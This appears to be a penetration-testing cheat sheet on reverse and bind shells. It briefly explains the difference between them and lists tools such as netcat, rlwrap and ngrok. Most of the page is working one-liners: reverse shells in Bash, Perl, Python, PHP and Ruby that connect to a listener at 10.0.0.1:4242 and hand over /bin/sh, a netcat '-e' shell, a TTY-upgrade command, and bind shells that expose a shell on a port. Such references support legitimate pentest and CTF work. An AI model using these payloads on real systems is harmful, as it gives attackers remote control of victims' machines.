Reverse Shell

Reverse Shell

A reverse shell is a connection initiated by the target host to the attacker listening port. For this, the target needs to be able to route to the attacker, sometimes over the internet.

This is the opposite of a bind shell, which is a connection initiated by the attacker to the target host. This way, the attacker does not need to have a routable IP address

Sometimes both types of shells are wrongly called reverse shell.

Reverse shell Reverse shell

  • PayloadAllTheThings - GitHub

    Compilation of useful payloads and bypass for Web Application Security and Pentest/CTF.

  • netcat - Wikipedia

    A utility for reading from and writing to network connections using TCP or UDP.

    Netcat classic listener
    $ nc -nlvp 4444
    
    # Netcat connect to listener
    $ nc -e /bin/sh 10.0.0.1 4242
  • rlwrap - GitHub

    Allows you to use the arrow keys in a reverse shell.

    $ rlwrap nc -nlvp 4444
  • Upgrade a shell to a TTY shell

    python -c 'import pty; pty.spawn("/bin/bash")'
  • ngrok - Website

    Create a tunnel from the public internet to a port on your local machine.

    $ ngrok http 80 # http tunnel on local port 80
    $ ngrok tcp 4444 # tcp tunnel on local port 4444
  • Common reverse shells - GitHub

    Reverse shells connects to a remote listener. The target needs to be able to route to the attacker.

    # Bash
    $ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
    
    # Perl
    $ perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    # Python
    $ python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
    
    # PHP
    $ php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
    
    # Ruby
    $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    Check this github repository for more reverse shells.

  • Common bind shells - GitHub

    Bind shells listen on a port and wait for a connection. The attacker needs to be able to route to the target.

    # Netcat
    $ nc -nlvp 4242 -e /bin/bash
    
    # Perl
    $ perl -e 'use Socket;$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p,INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
    
    # Python
    $ python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR,1);s1.bind(("0.0.0.0",4242));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
    
    # PHP
    $ php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",4242);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);
    socket_write($cl,$m,strlen($m));}}'
    
    # Ruby
    $ ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'

    Check this github repository for more bind shells.